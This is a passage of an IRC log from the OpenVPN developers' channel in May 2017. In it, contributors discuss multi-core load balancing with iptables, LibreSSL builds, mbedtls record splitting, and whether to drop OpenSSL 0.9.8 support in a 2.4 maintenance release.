won't help you much ot at all 11:01 < valdikss> SviMik: if the encryption is your bottleneck, you should recomple OpenSSL then. 11:02 < valdikss> SviMik: if I were you, I'd run 2 more OpenVPN instances to utilize all CPU cores. 11:03 < SviMik> valdikss how would you share the same pool with ifconfig-pool-persist then? 11:04 < valdikss> SviMik: you probably can't. Not sure. 11:04 < valdikss> SviMik: It's rather trivial in tap mode but not in tun. 11:05 < SviMik> spoiler: of course I can't. at least without some coding. like reinventing the ifconfig-pool-persist with external scripts or plugins 11:06 <@plaisthos> SviMik: not trivial you need a client-connect script that does add/remove routing 11:07 < SviMik> right. not trivial at all. 11:07 <@plaisthos> depends on you routing background :) 11:07 < SviMik> also, idk how to "balance with iptables" in case of UDP 11:08 < SviMik> UDP is not connection-aware, neither iptables is 11:08 < Thermi> iptables is 11:08 < Thermi> conntrack 11:09 < SviMik> conntrack for UDP? 11:09 < Thermi> use statistics module 11:09 < Thermi> conntrack. 11:09 < Thermi> different ports, different connections 11:10 < SviMik> you mean balance by udp src port? that actually may work... 11:11 < valdikss> SviMik: conntrack is udp-connection-aware 11:11 < valdikss> SviMik: so you can just DNAT on random port once and that would work 11:11 < SviMik> valdikss even when client switches between networks? like mobile/wifi 11:11 < Thermi> iptables has no idea about load though, neither do any of the extensions. 11:12 < Thermi> So if you decide to do that, you probably want to use NFQUEUE with a custom application that sets verdicts in *nat 11:12 < valdikss> SviMik: no, that won't work out of the box 11:13 < Thermi> The application would look at the CPU and network usage of the different openvpn processes, set marks on the packets that go through *new by usind a verdict. Below the NFQUEUE rule are DNAT rules that have selectors based on those marks. 11:13 < Thermi> If you're fine with random or per-src-port assignment use statistic ore hmark module respectively. 11:13 < Thermi> s/ore/or/ 11:14 < valdikss> Actually I'm thinking of a tun.ko modification which would allow read() and write() multiple packets in one call. That should drastically increase OpenVPN performance (and not only OpenVPN) 11:15 < Thermi> You'd need condense several packets though. Might be tricky to implement in the openvpn source code. 11:16 < SviMik> okay, I see the banalcing thing is possible. ifconfig-pool-persist with tun still makes me puzzling 11:18 < SviMik> why openvpn doesn't have something like "worker_processes 2;" in the config :D 11:22 < SviMik> valdikss if you ever do such modification, I'm the first to test it! I have some servers with 100...200 connections per openvpn instance and a lot of traffic too 13:17 <+krzee> why would ip pool persist be that important? 13:17 <+krzee> valdikss: that would be awesome!! 13:18 < SviMik> because... I want the user local IP to be... persistent? 13:18 <+krzee> but like, its just a suggestion based on past association, its not authoritative 13:18 <+krzee> whys it matter what internal IP they get? 13:18 <+krzee> and if it does matter, why not static? 13:20 < SviMik> static IP must be assigned too, so there's no difference how the first time assignment happens 13:20 <+krzee> static is authoritative 13:21 <+krzee> are you doing this to have custom firewall rules for certain users? 13:22 <+krzee> if so, i personally would set those dynamically when a user logs in and remove them when they log off 13:22 <+krzee> ipp makes no promises from my understanding 14:25 <@cron2> mornin 14:28 <+krzee> moinmoin 14:29 * cron2 is working on scaling out openvpn across multiple machines, so "more threads" won't solve anything for me - the current plan is "use radius for IP assignment -> radiusplugin -> call out to install routes into tun, and have bird/quagga announce route to the world" 14:30 <@cron2> that can scale to multiple processes locally, but as well to multple machines distributed across data centers (as long as they share a routing domain) 14:30 <+krzee> nice, i do similar 14:31 <@cron2> how do you glue the pieces together? 14:31 <+krzee> well my topology is different, mind if i take it to msg? 14:42 < SviMik> we're trying to keep servers autonomous, without some remote machine being strictly necessary. mostly because we don't host all servers in the same datacenter, and we don't have a reliable connection between them 15:31 <+krzee> ipp helps towards that goal? --- Day changed Sun May 28 2017 08:21 < SCHAPiE> hm, openvpn-build repo @ github still uses openssl-1.0.2k 08:21 < SCHAPiE> 1.0.2l is out, since Thursday 09:29 <@cron2> there has not been a release since then... anything relevant in there, like "critical security bugs"? 10:48 <@cron2> (but I think openvpn-build actually takes pull requests, so please send one) 10:52 < SCHAPiE> nope, just bugfixes, no security fixes 10:58 < SCHAPiE> hmm, not sure how to single out that commit for a pull req 11:00 < SCHAPiE> i maintain a fork of the openvpn-build repo with some extra changes for LibreSSL 11:01 < SCHAPiE> https://github.com/OpenVPN/openvpn-build/compare/master...woohooyeah:master 11:01 <@vpnHelper> Title: Comparing OpenVPN:master...woohooyeah:master · OpenVPN/openvpn-build · GitHub (at github.com) 13:27 -!- floppym is now known as orangeknight 13:29 -!- orangeknight is now known as floppym 14:55 <+krzee> SCHAPiE: you need to maintain a separate repo for libre? last i saw it worked without effort (that was months ago though) 14:56 < SCHAPiE> the buildscript needs no be slightly different 14:57 < SCHAPiE> some of the calls, from the original build script, are specific to OpenSSL 14:58 < SCHAPiE> the options, during configure 14:58 < SCHAPiE> i'm not skilled enough to make the changes in a conditional manner, in the original buildscript 14:58 <+krzee> ahh ok 14:58 < SCHAPiE> hence, i try it in this manner, and it works 14:58 < SCHAPiE> and, people do download it 14:58 < SCHAPiE> which is funny to see 14:59 <+krzee> :D 14:59 <+krzee> i just go with mbedtls 14:59 < SCHAPiE> must be LibreSSL-aproving Windows users, or smt 14:59 < SCHAPiE> maybe OpenBSD'ers at work 15:00 < SCHAPiE> i'm offering my builds here, krzee: https://woohooyeah.nl/openvpn-built-with-libressl-windows-binaries/ 15:00 <+krzee> mostly cause i like the idea of a rewrite over an attempt to clean up openssl 15:00 <@vpnHelper> Title: OpenVPN built with LibreSSL Windows binaries | Woohoo Yeah (at woohooyeah.nl) 15:00 <+krzee> oh nice, and ya i wasnt talking windows above 15:00 <+krzee> (when i saw it work without effort) 15:01 < SCHAPiE> i'm doing this specifically for the lesser-equipped Windows users out there 15:01 < SCHAPiE> those who think, "Yeah, let's embrace this LibreSSL thing; but i want my OpenVPN to work with that as well; oh what to do??" 15:01 <+krzee> ya and openvpn wont be releasing with that, so if its in demand then may as well supply it (i assume its in demand since you have downloads) 15:01 < SCHAPiE> they google, openvpn +libressl +windows 15:01 < SCHAPiE> first-page result hit :p 15:04 < SCHAPiE> man, Indy GP now is wild 15:04 < SCHAPiE> 4 laps left 15:04 < SCHAPiE> *3 15:05 <+krzee> i dont watch any of that stuff really... just boxing/mma 15:05 < SCHAPiE> krzee› http://storage4.static.itmages.com/i/17/0528/h_1496001484_1830858_f0b29f76bf.png 15:05 < SCHAPiE> proof that ppl dl my build :P 15:05 <+krzee> haha 15:05 < SCHAPiE> and it wasn't me 15:05 <+krzee> suuuuure it wasnt! 15:05 < SCHAPiE> http://storage1.static.itmages.com/i/17/0528/h_1496001525_9179171_9024135a59.png 15:05 < SCHAPiE> these ppl 15:06 <+krzee> nice proxy list! 15:06 < SCHAPiE> some sysadmin from the Maldives mailed me about an issue he had 15:06 < SCHAPiE> but he was using 2.5-git as client 15:06 < SCHAPiE> so i was like, dude 15:06 < SCHAPiE> :þ 15:06 <+krzee> was it android? 15:06 <+krzee> cause 2.5git is the normal "openvpn for android" build at the moment 15:07 <+krzee> he tracks master 15:07 < SCHAPiE> nah, a private domain, through gmail 15:07 < SCHAPiE> i'm guessing google apps 15:07 <+krzee> i mean the 2.5git client 15:08 <+krzee> if it was running on android it should be 2.5git 15:08 < SCHAPiE> he used: 15:08 < SCHAPiE> OpenVPN 2.5_git [git:master/986b930862c7fecb] x86_64-pc-linux-gnu [SSL 15:08 < SCHAPiE> (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on May 16 2017 15:08 < SCHAPiE> library versions: LibreSSL 2.6.0, LZO 2.08 15:08 < SCHAPiE> so no, he built it himself 15:08 < SCHAPiE> it was a misconfig on his end, imo 15:08 <+krzee> oh i get ya, i thought you meant he had a 2.5 client connecting to a libressl server on 2.4 your build 15:09 < SCHAPiE> i'm a sysadmin, but also a programmer, just a little bit 15:09 < SCHAPiE> still learning more 15:09 < SCHAPiE> yeah, hehe, thought you thought that 15:10 <+krzee> im aq sysadmin not a coder, i do a lot of bash but nothing stronger like the rest of the guys here, i just do a lot of support for ovpn for a long time 15:12 < SCHAPiE> cool 15:12 < SCHAPiE> i like OpenVPN as well 15:13 <+krzee> lets talk in #openvpn so the devs dont have to scroll through more of this 15:13 < SCHAPiE> since the Snowden thing, i got this interest, in some specific projects 15:13 < SCHAPiE> k 23:02 <@ordex> why would my server send 37 packets of 100bytes each in order to have them combined in one server hello? why would the server send such small packets instead of something closer to its mtu ? is that expected ? --- Day changed Mon May 29 2017 00:44 <@ordex> syzzer: have you ever worked in the surroundings of key_method_2_read() ? 00:45 <@ordex> syzzer: I am asking because I Am working on a ovpn3 client and I am hitting this error on my 2.3 server: msg(D_TLS_ERRORS, "TLS ERROR: Plaintext buffer too short (%d bytes).", 00:45 <@ordex> therefore I am trying to infer what the client is doing wrong 00:46 <@ordex> dazo: do you have any hint ? 02:04 <@cron2> interesting read of today night :) 03:19 <@syzzer> ordex: the small packets should only happen with "old" openvpn 03:19 <@syzzer> somewhere before 2.3.10 or so 03:20 <@syzzer> that was the old way to be shure that connection setup would always succeed, because it should always fit in the MTU 03:20 <@ordex> oh, can't exclude my debian is running something ancient 03:20 <@ordex> yap, guessed something like that 03:20 <@ordex> thanks syzzer! 03:20 <@syzzer> we bumped that value to somewhere around 1200, as ovpn3 also did that and didn't encounter any problems 03:20 <@ordex> yeah I am running 2.3.4 - wow that's old :) 03:21 <@syzzer> an for the "plaintext buffer too short" - openvpn doesn't combine incoming tls records 03:22 <@syzzer> but if one side enabled 1/n-1 record splitting (what mbedtls does by default) that will break 03:23 <@ordex> hmmm I don't really know what the record splitting is. how is that disabled in mbedtls? (since it is enabled by default, I should be looking for the option disabling it) 03:23 <@syzzer> config.h has a define 03:23 <@syzzer> mbedtls/config.h, that is 03:24 <@ordex> alright, thanks. I'll have a look! 03:25 <@syzzer> SviMik, valdikss: I've worked on moving openvpn towards less user/kernel transisitions by adding support for recvmmsg(): 03:25 <@syzzer> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13699.html 03:25 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Feedback wanted: proof-of-concept recvmmsg() support (at www.mail-archive.com) 03:25 <@syzzer> haven't touched that since - too busy with other things :( 03:26 <@syzzer> but it might help as a starting point for you 03:26 <@syzzer> also, I'd really like to hear what this does for you performance-wise 03:35 <@ordex> syzzer: due to your hint about the mbedtls behaviour, I decided to upgrade my server to 2.4.2 and now the plaintext bugffer too short is gone 03:35 <@ordex> *buffer 03:35 <@ordex> client is still my experimental ovpn3 03:36 <@ordex> not sure this makes any sense .. 03:36 <@ordex> anyhow, thanks :) 03:38 <@syzzer> np :) 04:02 <@dazo> syzzer: thx for following up on the patch from Farhan ... Regarding the 2.3 comment ... I think we want this in both master, 2.3 and 2.4, tbh ... it's an option used in AS, to reduce the risk of port exhaustion on port 443/tcp if an IP address starts hammering that port 04:03 <@dazo> getting this patch in, reduces the feature gap between AS openvpn and community openvpn 04:04 <@dazo> (and yes, I do my best to annoy the guys internally to discuss such things on the ML .... and I'm happy to see Farhan submitting that patch - it's originally written by James, though, just backported by Farhan) 04:13 <@cron2> dazo: I guessed the background, but I really do not think it should go into 2.3 - that branch is in maintenance mode, so, bugfixes, security issues, no new features 04:13 <@cron2> master and 2.4, yes (since we're still adding features to 2.4) 04:16 <@syzzer> dazo: I guessed that - which is why I polled here before sending 'the lecture' over the list ;-) 04:17 <@ordex> cron2: shouldn't this be considered a DoS mitigation change, hence a security fix? or is it too far from that ? 04:17 <@dazo> They are working on moving AS to 2.4 ... but that will take some time, due to QA ... and especially to ensure upgrading from 2.3 to 2.4 won't break anything 04:18 <@cron2> ordex: it's a resource exhaustion attack, of which there are many - you can just throw zillions of openvpn client instances against openvpn, and will exhaust it just as well 04:18 <@dazo> I do agree that we should try to avoid 2.3 ... but I'm also trying to build a bridge so that the company guys will get more directly involved here, and getting such things considered could help that process 04:19 <@cron2> ordex: ... and I'm not sure anyone besides AS is using port-share in earnest... 04:19 <@cron2> dazo: I thought AS was supposed to migrate to ovpn3, with the in-kernel turbo forwarding? 04:19 <@dazo> there have been questions on forums and #openvpn on using --port-share 04:19 <@cron2> dazo: yes, and open bugs in trac that nobody is really interested in... 04:20 <@ordex> hmm 04:20 <@dazo> cron2: that's the private gateway you're thinking of .... the crux is that AS is what generates revenues currently, so that needs to be moving forward a while more too 04:20 <@dazo> (and the kernel module currently is not planned for anything outside the PG) 04:21 <@cron2> dazo: I have no idea what I'm thinking, openvpn tech is so extremely non-communicative about things... 04:21 <@dazo> I agree ... which is why I try to build some bridges ;-)( 04:21 <@dazo> s/(// 04:21 <@cron2> (not even if you're a paying customer... we run a few AS instances here, and communication has been... sparse) 04:21 <@syzzer> I think port-share is used by quite some users running both openvpn and http(s) on their single public IP 04:22 <@syzzer> to get out of restricted networks that 'block anything but mail and web' 04:22 <@cron2> anyway: if we want them to move to 2.4, the features they need need to be in 2.4 - in 2.3, they have all that 04:23 <@cron2> we want them to move away from 2.3, so that's a counterargument to having new stuff "coming from AS" in 2.3 04:24 <@dazo> The point is ... they currently use 2.2 ... and due to the recent CVEs, they were enforced to move to 2.3, as the breakage chances between 2.2 and 2.3 are far lower than moving to 2.4 04:25 <@dazo> I can rant a lot about how the company have prioritized their resources among a lot of their products, and AS resources have not lacking .... so now I'm just trying to help them move forward as well .... getting them up to 2.3 is a good step, then 2.4 as the next one 04:25 <@cron2> dazo: you should be listening better :) 04:26 <@cron2> the AS instance we run here has 2.3.16 04:26 <@dazo> yes, that is after the upgrade 04:26 <@cron2> oh, good point 04:26 <@cron2> -rwxr-xr-x 1 root root 621640 May 25 19:53 openvpn-openssl 04:26 <@cron2> -rwxr-xr-x 1 root root 610888 May 25 19:53 openvpn-polarssl 04:26 <@cron2> should have checked the time stamps :) 04:26 <@dazo> they have released that with this additional patch ... now we're trying to bridge the gap, so the transition to 2.4 gets easier too 04:27 <@cron2> yes, I agree -> include the patch in 2.4 :-) 04:28 <@cron2> it won't help them at all if we merge a patch into release/2.3 that is made against 2.3, and not forward-ported to 2.4 - and I hope nobody is expecting that *we* do the forward-porting work, when our documented process is "start with master, backport to where it makes sense" 04:29 <@dazo> nope, nobody expects the community to carry the porting work 04:30 <@cron2> so, what shall we do now? 04:30 <@dazo> From a technical point of view, this patch in 2.3 doesn't matter that much ..... but from a human/political point of view, it helps 04:30 <@dazo> I will have a chat with Farhan at least, to ensure we get this for master 04:32 <@dazo> And btw ... in June, I'll start sending some more AS patches to the ML as well ... just need to have a close look at them to ensure only the really needed ones gets sent 04:32 <@syzzer> the crux is - a lot of this discussion could have been preventen with a decent commit msg ;-) 04:33 <@dazo> yes, that is true, syzzer! ... But to be honest, Farhan is newly hired .... and got this dumped to his lap last week by James .... so he needs some time to learn how we do things 04:34 <@syzzer> that's fine - and the intended tone of my reply 04:35 <@dazo> absolutely! I'm happy you did that :) 04:45 <@plaisthos> I have now impelemented traffic graphs in my app and it is interesting to see how the the tablet behaves 04:50 <@ordex> plaisthos: tablet? you mean the iPad? he send random traffic all the time? :) 04:50 <@ordex> *sends 04:51 <@plaisthos> no I have a Pixel C 04:51 <@plaisthos> the chromebook that became a tablet ;) 04:53 <@plaisthos> at the moment I am watching Play Music 08:03 <@cron2> someone needs to update https://community.openvpn.net/openvpn/wiki/CodeRepositories to point to the new repos and branches... 08:03 <@vpnHelper> Title: CodeRepositories – OpenVPN Community (at community.openvpn.net) 08:04 <@cron2> ah, no, forget that... I was confused, looking solely for a "git clone" command and *that* is only there for "testing" 08:05 <@cron2> (but it would be useful to have gitlab and sf mentioned, and "git clone" copy-paste commands) 08:39 <@syzzer> cron2: remember that we got the -lssl -lcrypto ordering wrong in the pkg-config stuff? 08:40 <@syzzer> https://sourceforge.net/p/openvpn/openvpn-historical-cvs/ci/7120b967/ 08:40 <@vpnHelper> Title: OpenVPN / openvpn-historical-cvs / Commit [7120b9] (at sourceforge.net) 08:40 <@syzzer> as always, James knew this before I ever touched a single line of C :') 08:43 <@cron2> oi, 15 years ago... 08:44 <@cron2> why are we doing the same mistakes again and again? throwing away James' code, just to rediscover the same things later on... (like, version check...) 09:18 <@dazo> hmmm ... are we sure those approaches 15 years ago will still work with todays autotools? 09:21 <@dazo> I also wonder if that historical commit is somewhat hit by this commit in our current tree ... 8d3ed25dc2d5b4eaf669c7 09:55 <@cron2> dazo: well, James' approach to "check version number" from 15 years ago is about what we have now (except that we check compile and not cpp)... but not sure how this relates to the commit you've given - fairly sure that all this went overboard when Alon rewrote all the configure stuff 10:37 <@dazo> yeah, I just spotted some similarities in those commits ... didn't dig deep 11:05 <@syzzer> me neither - just wanted to share my grim when I noticed this one --- Day changed Tue May 30 2017 04:34 -!- Netsplit *.net <-> *.split quits: +krzee 05:20 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:20 -!- ServerMode/#openvpn-devel [+v krzee] by barjavel.freenode.net 05:33 <@vpnHelper> RSS Update - tickets: #896: error: invalid application of ‘sizeof’ to incomplete type <https://community.openvpn.net/openvpn/ticket/896> 05:44 <@ordex> #896: my guess is that this guy is using openssl 1.1 05:45 < eworm> he is... 05:46 < eworm> someone should close this as duplicate referencing the original openssl 1.1 ticket 05:46 < eworm> he opened a bug in Arch bug tracker as well and mailed me personally... 05:54 <@ordex> lol 05:54 <@ordex> does he pay each involved party? :P 05:54 < eworm> yes... 05:55 <@ordex> :P 05:57 < eworm> and he is lazy otherwise... neither reads documentation nor links given in bug comments 06:12 <@dazo> so a "Thank you for wasting our time, as we need closing this duplicated ticket" is appropriate ;-) 06:13 < eworm> exactly ;) 06:19 < eworm> btw, any progress reviewing openssl patches? 06:22 < eworm> ah there are new patches on ml... So let wait for syzzer 08:25 <@vpnHelper> RSS Update - tickets: #897: OpenVPN not working (tls-auth) on Apollo Lake? <https://community.openvpn.net/openvpn/ticket/897> 16:38 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 16:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 16:48 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 16:49 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Wed May 31 2017 00:13 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 00:14 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 03:07 <@ordex> cron2: I agree with your reply to the BSD guy. Changing behaviour in a minor (aka bugfix/maintenance) release is definitely not what should happen, in particular if this case seriously break with respect to the previous minor 04:10 -!- marlinc_ is now known as marlinc 04:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 04:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:35 <@ordex> dazo: if dropping support for 0.9.8 was so important, why wasn't it done upon release of 2.4.0? I am personally a bit puzzled that now such a change should sneak in a .2 release. what speak against keeping it like that in 2.4.*? 04:35 <@ordex> dazo: btw, end users also compile openvpn by themselves, not only maintainers..think about gentoo for example 04:35 <@ordex> but I am not deep into the openssl mess to have a real overview of pros and cons 04:35 <@cron2> gentoo is a somewhat weird example, as the "package maintainer" takes responsibility for "the ebuild will compile" 04:36 <@ordex> mh true, so the responsibility would still sit on the ebuild maintainer 04:37 <@cron2> but from my sysadmin job, I see "I need to make $program work on <this old box where no package exist>" often enough, so breaking something right in the middle of a release train is not something we should do lightly 04:40 <@ordex> but why making such decision now? is support for 0.9.8 making life harder in 2.4 ? 04:41 <@dazo> ordex: I don't remember now why we didn't cherry-pick those patches to release/2.4 ... Just checked the mail threads for those two commits ... nothing there at my quick glance indicates that it was blocked for release/2.4 04:42 <@cron2> well, I could argue "because it is intrusive and blew up stuff like hell"? :-) 04:42 <@dazo> I just think we went a bit more careful as the first patch broke BSD builds ... and it took 5 rounds before it got fixed 04:43 <@dazo> well, I'm not buying the "intrusiveness" argument, we've pulled in more complicated patches to release branches 04:43 <@ordex> this is not a good reason to keep on doing that :P 04:44 <@dazo> but yeah, the initial first patch did break BSD builds ... which we fixed, and that seems to work quite well 04:44 <@cron2> dazo: normally nothing that required new library dependencies 04:44 <@cron2> we have been quite careful there 04:45 <@ordex> dazo: but why doing it now? why not just doing this in master and let it go in the next release? if you have said that, I haven't grasped it, sorry 04:45 <@cron2> "if compilation for someone worked fine for 2.4.2, we should not make compilation for the same person fail for 2.4.3", unless there are really strong reasons ("must abandon insecure API to keep openvpn secure") 04:46 <@dazo> but ... openssl 0.9.8 have been unmaintained for quite a long time .... if using openssl 0.9.8 is important, then running the latest openvpn can't be that important 04:46 <@dazo> I mean ... what about the unfixed security issues in 0.9.8? 04:46 <@dazo> should we just be ignorant to that? 04:46 <@cron2> dazo: "running the latest openvpn can't be that important" is a very poor argument 04:47 <@dazo> that's your opinion. My opinion is different. 04:47 <@cron2> ("the latest" is master, btw, and having different requirements between 2.3, 2.4 and master is perfectly fine) 04:48 <@ordex> honestly I find all these opinions about moving away from 0.9.8 meaningful. but again, why touching a release that is already out and not doing it for 2.5 ? 04:48 <@cron2> if I am using 2.4.2 on a system today, and hear about an openvpn CVE in 2.4.2, and *cannot upgrade* to 2.4.3 because all of a sudden the library dependencies change - do you think this is a good user experience? 04:49 <@dazo> ordex: it took us 3 years to get 2.4 out .... what will explode in openssl 0.9.8 if we manage to get 2.5 out within the next year? 04:49 <@cron2> this is the essential part of the discussion: is this something we find acceptable or not - I think it isn#t 04:49 <@dazo> cron2: we have backported important security fixes to 2.3 04:49 <@dazo> 2.3 will have 0.9.8 support 04:50 <@cron2> dazo: *if I have 2.4.2 today*, do you want me to go back to 2.3.17, because 2.4.3 requires different libraries? 04:50 <@ordex> dazo: this means people have to downgrade to 2.3 if they want the latest fixes 04:50 <@cron2> you can't be serious about that 04:50 <@dazo> so, if you are on an ancient distro/os with an outdated openssl ... then you can't expect to run the latest and greatest openvpn 04:50 <@dazo> Sure I am .... this is standard practice 04:50 <@cron2> nah, this is madness 04:51 <@dazo> Show me one single distribution which ships openssl 0.9.8 and openvpn 2.4 04:51 <@cron2> dazo: would you please look outside your "everything is a package" world for a minute? 04:51 <@cron2> why are we shipping tarballs, if we don't care about users compiling from source? 04:52 <@cron2> distibution maintainers could use git just fine 04:52 <@cron2> to repeat: there are users out there that compile from source. They have compiled 2.4.2, and they expect 2.4.3 to bring in security fixes, and small new features. They do not expect their compilation to blow up. 04:53 <@dazo> right ... and it should not come as a big surprise we're not supporting outdated openssl releases ... I mean, there's been suggestions we even ditch 1.0.1 in git master 04:53 <@cron2> master is master, and 2.4.x->2.4.y is not master 04:54 <@cron2> we *do* support older openssl release in 2.4.2 - which, arguably, might not have been a good decision, but we should not break user environments right in the middle of a train 04:54 <@dazo> I just think that if we officially support 0.9.8 that is as helpful as helping them shooting themselves in the foot 04:54 <@cron2> that is missing the point. We *do* support that in 2.4.2 today. 04:54 <@dazo> And that is *wrong* 04:55 <@cron2> yeah, but that decision should have been made in December 04:55 <@ordex> dazo: right, but that can't be fixed now .. 04:55 <@cron2> now it is what it is, and since we agree that we want 2.5.0 out much quicker, that will no longer support 0.9.x, and maybe not even 1.0.1 04:55 <@ordex> if this is so important, why not thinking about releasing 2.5 already? which will be the one dropping support for 0.9.8 04:56 <@dazo> I will agree with you once I hear about users actively building 2.4 with openssl 0.9.8 where 0.9.8 is kept up-to-date security wise 04:56 <@dazo> well, that is a good idea, ordex 04:56 <@cron2> 2.5.0 is not done yet :-) (and we don't even know what should be the interesting new part in there) 04:57 <@dazo> and just a remark .... the security audits had clear recommendations in regards to ditching outdated openssl releases too 04:58 <@cron2> ok, folks, do what you want 04:58 <@dazo> okay, syzzer had the 0.9.8 argument 04:58 * cron2 has real work to do today, and this endless circular discussions take too much time I could do useful things with 04:59 <@ordex> :D last time I heard something like that was from another German(R) hehe 04:59 * ordex is teasing 04:59 <@dazo> :) 05:01 <@ordex> dazo: personally, my major concern is about stability: changing something like that might trigger bugs/annoyances that somebody has to rush to fix because "we are breaking a maintenance release". on top of that, people will lose confidence in this minor upgrades, while they should always do that blind-folded 05:01 <@ordex> regardless of what the change is about 05:01 <@ordex> but anyway, this is just my perspective :) I am probably not the one rushing to fix things in this case :D so up to you eventually 05:02 <@dazo> I don't disagree about stability. And I don't think we can have a strict "always do this" or "never do that" ... they need to be considered case-by-case. 05:03 <@dazo> Commit 039a89c331e9b7998d8 is the one which have some "real code change", in addition to changing the openssl mark ... which actually removes several workarounds needed for buts in older OpenSSL releases 05:04 <@dazo> Commit 79ea67f77ca3afe91222f is a pure confingure.ac update, to fix build breakage on *BSD due to pkg-config issues 05:12 <@dazo> and just to define 'stability' ... to me that is that the compiled openvpn binary works without breaking prior configurations (unless there are real errors in the configuration files) 05:13 <@dazo> and that the binary runs with as few security issues and bugs as possible 05:14 <@dazo> The path to you need to travel to get a final binary may be rocky, as it needs to consider other external dependencies ... if they are not met, the one building the binary need to take care of that 05:16 <@dazo> (which is why I had to backport the removal of --tls-remote when updating openvpn to 2.4 in EPEL-6 and EPEL-7, to ensure stability and expected behaviour for a long term distro release) 05:16 <@ordex> dazo: mh I think that this is a proper definition of stability but considers only one level 05:16 <@ordex> imagine what stability means for a system admin: he wants to keep the system stable after an upgrade 05:17 <@ordex> and forcing an upgrade of openssl from 0.9.8 to 1.0.1 put serious risks at the stability of the system (which in turn may result in upgrades of other dependencies) 05:17 <@dazo> right ... but does the sys-admin do the compiling himself? Or does he depend on the work of a package maintainer? 05:17 <@ordex> well, depends on the system 05:17 <@ordex> I can imagine people using openwrt for example 05:17 <@dazo> if he does the compiling himself ... then he have the role of a package maintainer as well 05:18 <@ordex> sure, but imagine a case where a firmware developer has to provide an "updated version of the fw for an openwrt router" including the fixes for the latest CVEs. he would definitely want to not update anything other than openvpn 05:19 <@ordex> yeah, this is stilla corner case 05:19 <@dazo> again, then that developer takes the responsibility as a package maintainer 05:19 <@ordex> because having openssl-0.9.8 is probably insane, so nobody would keep that and update to openvpn 2.4.2 05:19 <@ordex> sure 05:19 <@dazo> exactly 05:20 <@ordex> but that developer will simply not upgrade because he does not want to upgrade everything 05:20 <@dazo> and a package maintainers responsibility is to provide stable builds for their use and users 05:20 <@ordex> in the best case he will port the CVE fixes himself 05:20 <@ordex> hm 05:23 <@ordex> dazo: that means you are forcing people to upgrade to openssl-1.0.1 even though they happily lived with openssl-0.9.8? 05:23 <@ordex> this is what I was trying to say that people will manually avoid, because for their concept of stability this is wrong. 05:23 <@ordex> anyway, I think we discussed enough for now :D 05:25 <@dazo> yeah, I do expect them to more forward .... just as I can't expect the latest upstream GNOME release on RHEL7 ... and if I try to build that myself from source, I need to account for the complete dependency chain 07:05 < slypknot> Perhaps the Roadmap could use an update ? https://community.openvpn.net/openvpn/wiki/RoadMap 07:05 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 07:40 <@vpnHelper> RSS Update - gitrepo: Remove erroneous limitation on max number of args for --plugin <https://github.com/OpenVPN/openvpn/commit/3f181eaa324892845e0857d80c154512d9e8c59c> || Fix gateway detection with OpenBSD routing domains <https://github.com/OpenVPN/openvpn/commit/3dd30bfe5fdf9f34afe7f847b4e30156982d9ff0> || Avoid a 1 byte overcopy in x509_get_subject (ssl_verify_openssl.c) <https://github.com/OpenVPN/openvpn/commit/3fbc9d2b1b1e75 07:58 <@vpnHelper> RSS Update - gitrepo: Remove erroneous limitation on max number of args for --plugin <https://github.com/OpenVPN/openvpn/commit/3f181eaa324892845e0857d80c154512d9e8c59c> || Fix gateway detection with OpenBSD routing domains <https://github.com/OpenVPN/openvpn/commit/3dd30bfe5fdf9f34afe7f847b4e30156982d9ff0> || Avoid a 1 byte overcopy in x509_get_subject (ssl_verify_openssl.c) <https://github.com/OpenVPN/openvpn/commit/3fbc9d2b1b1e75 08:32 <@dazo> hmmm vpnHelper lagging behind? 08:32 <@dazo> commit 3f181eaa324892845e0857d80c154512d9e8c59c 08:32 <@dazo> CommitDate: Sat May 20 19:57:18 2017 +0200 08:33 <@dazo> slypknot: yeah .... should probably "tag" it as "out of date", even though quite some if it matches fairly well the possibilities in OpenVPN 3 08:41 <+krzee> !ping 08:41 <@vpnHelper> pong 08:44 <@ordex> !pong 08:44 <@ordex> nah 09:01 <+krzee> !rss help 09:01 <@vpnHelper> Error: 'help' is not a valid url. 09:01 <+krzee> !help rss 09:01 <@vpnHelper> (rss <url> [<number of headlines>]) -- Gets the title components of the given RSS feed. If <number of headlines> is given, return only that many headlines. 09:04 <@ordex> !rss feed://www.scmp.com/rss/2/feed 5 09:04 <@vpnHelper> Unable to download feed. 09:04 <@ordex> !rss http://www.scmp.com/rss/2/feed 5 09:04 <@vpnHelper> Hong Kong couple seeking burial of miscarried son spark change for other local Catholic parents || Choose Uber, company urges Hongkongers as it fights for legalisation in city || Hong Kong restaurant chains named and shamed over shark fin sale || Bigger and better: Hong Kong museum festival set to thrill with art, films and relics up close || Revised hair-cutting arrangements for male Hong 09:04 <@vpnHelper> Kong prisoners put on hold despite court order 09:04 <@ordex> ah! :D 09:04 <@ordex> perfect ! newspaper over IRC 09:40 <@vpnHelper> RSS Update - tickets: #898: 50 OpenVPN Config Limit <https://community.openvpn.net/openvpn/ticket/898> 09:42 <+krzee> !rss announce list 09:42 <@vpnHelper> tickets, gitrepo, and wishlistfeed 09:43 <+krzee> !rss info tickets 09:43 <@vpnHelper> Title: OpenVPN Community: {6} All Tickets By Milestone (Including closed); URL: <https://community.openvpn.net/openvpn/report/6>; Description: Trac Report - A more complex example to show how to make advanced reports.; Last updated: time unavailable. 09:43 <+krzee> !rss info gitrepo 09:43 <@vpnHelper> Title: Recent Commits to openvpn:master; URL: <https://github.com/OpenVPN/openvpn/commits/master>; Description: unavailable; Last updated: 1 week, 3 days, 20 hours, 45 minutes, and 50 seconds ago. 10:00 < SviMik> Wed May 31 16:48:46 2017 us=299710 Blocking outside DNS 10:00 < SviMik> is it possible 